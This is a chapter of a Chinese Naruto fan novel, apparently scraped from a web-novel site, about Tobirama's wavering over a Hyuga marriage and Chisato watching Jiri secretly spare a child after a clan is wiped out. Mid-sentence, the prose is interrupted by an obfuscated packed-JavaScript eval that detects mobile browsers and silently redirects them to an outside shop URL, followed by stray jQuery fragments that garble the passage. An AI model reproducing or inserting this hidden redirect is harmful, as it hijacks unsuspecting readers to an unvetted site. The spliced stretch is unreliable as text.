文趣网 > 其他小说 > 宿命 无法改变的宇智波-战国篇 > 31.那日鼬的话 到底是什么意思
    千手族地

    千手族地的书房内,光线柔和。

    柱间摊开日向族长送来的书信,字里行间皆是重提两族联姻、稳固同盟的意愿。

    此前扉间离奇失踪,原定与日向纱良的会面半途而废,婚事也暂且搁置,如今对方再度来信催促。

    他抬眼看向一旁埋头翻看忍术卷轴的扉间,温声问道:“扉间,这件事,你心里作何打算?”

    扉间指尖顿了顿,目光未离纸面,语气平淡:“日向族长未免太过急切。”

    柱间自然理解对方的心思。

    战火连绵的乱世,各大族群都渴望缔结盟友、彼此依托,联姻便是最稳妥的方式。

    他想起自己年少时便已成家,妻子身为千手族人,却因体弱常年居于后方养病,两人也因繁重族务聚少离多。他从不愿勉强弟弟将就人生大事。

    沉寂片刻,扉间忽然低声开口,语气带着几分怅然:“大哥,这世上,当真有容貌近乎一模一样的人吗?”

    柱间闻言便知,他说的是数次相遇的宇智波千岁。他轻叹一声:

    “扉间,杏奈……早就不在了。”

    扉间知道。

    他比任何人都清楚这个事实,昔日杏奈倒在血泊中的模样,至今仍是无法磨灭的画面。

    逝者已去,再无归来的可能。

    “若是你对那位日向姑娘并无情意,”

    柱间放缓语调,“我便寻个由头,回绝日向族长便是。不必为了族群勉强自己。”

    扉间陷入了长久的犹豫。

    起初他早已下定决心,放下过往执念,为了千手一族的安稳,坦然接受这场联姻。

    可千岁的突然出现,打乱了他所有的计划与心绪。

    如今只要闭上双眼,那抹耀眼的金发、倔强的眉眼、或是炸毛抱怨、或是挺身护人的模样,便会不受控制地浮现在脑海。

    故人的残影与少女鲜活的身影不断交织,搅得他心绪纷乱,再也无法像从前那般冷静决断。

    柱间将弟弟眉宇间的挣扎与动摇尽收眼底,心中已然了然。

    他拿起案上的书信,淡淡说道:“我明白了。日向那边,由我去回绝。”

    扉间沉默着颔首,重新将目光落回卷轴之上,只是心绪纷乱,连书页上的文字都难以入目。

    雾岛一族族地

    月光倾泻而下,将雾岛一族的领地照得惨白。往日炊烟袅袅的居所如今尽数坍塌破损,横陈着族人的尸身,浓重的血腥气弥漫在夜风里,刺鼻又压抑。

    雾岛一族因觊觎宇智波的写轮眼,盗取宇智波族人尸身妄图夺取瞳力,最终引来了灭族之灾。

    此番清剿收尾的任务,由治里全权指挥,千岁奉命随行。

    千岁立在一具尸体旁垂着眼眸,神色平静无波。

    身后传来同族人的叮嘱声:

    “仔细搜查,务必留意残存的活口。”

    脚步声自身后响起,治里缓步走到她身侧。

    “千岁害怕尸体吗?”

    深紫色长发在月色下泛着幽光,眼底三勾玉缓缓转动,她望着千岁出神的模样,轻声发问:

    “寻常人家的女孩,见到这场景都避之不及。”

    千岁缓缓收回目光,语气淡得没有起伏:

    “……早已习惯了。”

    血色与死亡本就是常态,灭族之夜的惨状还烙印在心底,眼前的景象早已无法撼动她分毫。

    治里闻言,抬手轻柔地揉了揉她的发顶,眼底含着几分温和,并未再多追问。

    她素来细心,全程未曾分派凶险差事,只让千岁跟在自己身侧随行。

    两人与其他四散巡查的族人分开,逐间排查破败的屋舍。

    治里走在前方,仔细探查每一处角落,排查暗藏的隐患与幸存者,千岁默默紧随其后,踩着满地狼藉,一步步穿行在这片死寂的废地之中。

    行至一间倾颓的木屋旁,屋内忽然传出细微的响动,细碎的声响在死寂的领地中格外刺耳。

    两人神色一凛,周身查克拉瞬间绷紧,对视一眼的同时,眼底齐齐浮现出猩红的写轮眼。

    一前一后彼此策应,治里抬手猛地推开木门,清冷月光顺着门缝淌入屋内。

    正厅的矮桌之下,一道小小的身影紧紧蜷缩着,竟是个约莫四五岁的女童。

    这片前线据点向来只驻守成年男丁,众人原以为族中老弱妇孺早已撤离,或是不在此地,谁也没料到竟会藏着这样一个孩子。

    女孩瞥见门口两道人影,再对上那双泛着红光的眼眸,吓得浑身止不住地发抖,小小的身子缩成一团,连哭都不敢出声。

    “治里小姐,她的发色是雾岛一族的。”千岁目光落在女孩深蓝色的发丝上,语气迟疑。

    眼前不过是个懵懂幼童,根本未曾参与盗取写轮眼的恶行,心底的恻隐之心不断翻涌。她侧头看向治里,声音压得极低,

    “要……动手吗?”

    屋内陷入漫长的沉默。治里望着桌下惊恐的孩子,片刻后开口:“千岁,把门关上。”

    千岁心头一滞,终究依言合上木门。

    门板落下的瞬间,外界的光线被彻底阻隔,屋内陷入昏暗,只剩下女孩压抑的啜泣与颤抖声。

    治里缓步走上前,屈膝蹲下身。

    女孩怯生生抬眼,视线撞进她的眼眸下一瞬,治里眼中的三勾玉飞速重组,化作万花筒写轮眼。

    瞳力瞬息笼罩整个空间,小女孩瞳孔骤然涣散,身子轻轻一歪,当即失去意识昏了过去。

    这是千岁第一次见到治里的万花筒,她微微愣在原地,看着治里的背影。

    治里小心将孩童抱入怀中,转身走向门口的千岁。

    “这里交给你,帮忙照看在外巡查的族人。”

    千岁下意识上前一步:“治里小姐,你打算……”

    治里露出一抹温和的笑意,冲淡了方才瞳术带来的冷冽:

    “别担心,我很快就回来。”

    话音落罢,她抱着昏睡的小女孩,转身朝着领地深处走去。

    木门紧闭,空荡的院落里,只留千岁伫立在原地。

    留守的族人见始终只有千岁一人,心生疑惑,上前询问治里的去向。千岁定了定神,抬眸从容作答:“治里小姐去后山加固结界了,很快就回来。”

    族人不疑有他,颔首转身,继续投入战场的清理工作。

    周遭重归沉寂,一阵极淡的查克拉波动悄然浮现。治里借着瞬身术无声落在千岁身后,气息平稳如常。

    千岁闻声转身,刚要出声,就见对方竖起食指抵在唇边,比出噤声的手势。

    她立刻压低音量,眉宇间藏着顾

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17557972|203075||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    虑:

    “这样做,族长大人知道了不会被发难吗…”

    治里双臂环胸,面上掠过一丝为难,随即又单眼轻眨,语气轻快下来:

    “只要千岁不说,就没人知道啦。”

    她笃定身旁的少女会替自己隐瞒。

    千岁垂落眼帘,脑海中反复浮现出那个蜷缩在桌底、满眼惊恐的小小身影,心绪沉沉。

    “……让她孤身一人这样活下去,或许也是一种折磨。”

    治里抬手轻轻拍了拍她的肩头:“我用幻术清除了她所有记忆。往后的路,便看她自己了。”

    记忆尽失,孤身漂泊在战火纷飞的世间,与直面灭族惨状、背负血海深仇相比,难说哪一种更为残酷。

    这场灾祸因宇智波而起,可她却忍不住为那个无辜的孩子心生怜悯。

    千岁不自觉攥紧了手心,心底满是挣扎。

    如今的自己,和当年灭族之夜的鼬做出的行为,有什么不同。

    夺取他人性命,毁坏他人羁绊。

    她回溯时间而来,一心想要扭转宇智波覆灭的宿命,想让族人在这片乱世站稳脚跟,可眼下却频频对敌方遗孤心软。

    她已然分不清,这份动摇究竟是身为宇智波的立场在作祟,还是单纯不忍见证生命凋零。

    “在千岁心里,一族意味着什么?”

    治里的问话陡然响起。

    千岁抬眼,撞进对方被月光映得深邃的眼眸。

    她不知道。

    同样的话,她逝去的父亲曾经问过她。

    沉默许久,千岁才缓缓开口:“一族,是血脉相连、此生都无法割裂的羁绊。”

    治里闻言并未接话,两人并肩走在断壁残垣之间,步履缓慢而漫无目的。

    「我早已对这一族自大又狭隘的想法感到绝望。」

    恍惚间,那日黄昏下,鼬对宇智波富岳所说的话纵然出现在千岁的脑海当中。

    凛冽夜风卷着血腥味袭来,千岁下意识拢紧衣袖。

    为何偏偏在此时想起他。

    何为一族。何为羁绊。何为忍者村。

    千岁不知道。

    对于亲手斩断族群羁绊、背弃同伴的鼬而言,一族又是什么模样?

    “很多时候,眼见未必就是真相的根本。”

    治里平淡的一句话,让千岁从过去的记忆中猛然回神。

    “这个世界本就是由无数意识观念以及物质所构成,如幻境,也如现实。”

    千岁抬眼看向治里的方向。

    此刻的治里褪去了往日的温和打趣,神情肃穆,眼底翻涌着执拗,还夹杂着一丝她从未读懂过的复杂情绪。

    “治里小姐……”

    话音刚落,治里忽然弯起眉眼,又变回了平日随和的模样,轻笑一声掩饰而过:

    “一时有感而发,说了些奇怪的话。”

    她走上前,习惯性揉了揉千岁的头发,而后转身朝着忙碌的族人走去,再也没有多言。

    那对于治里小姐来说,一族到底是什么。

    那句未曾问出口的话堵在喉咙当中。

    千岁立在原地,望着她渐行渐远的背影,久久未能挪动脚步。

    那日在夕阳下,鼬所说的话,又是什么意思。

    血脉、族群、立场……重重思绪缠绕在心间。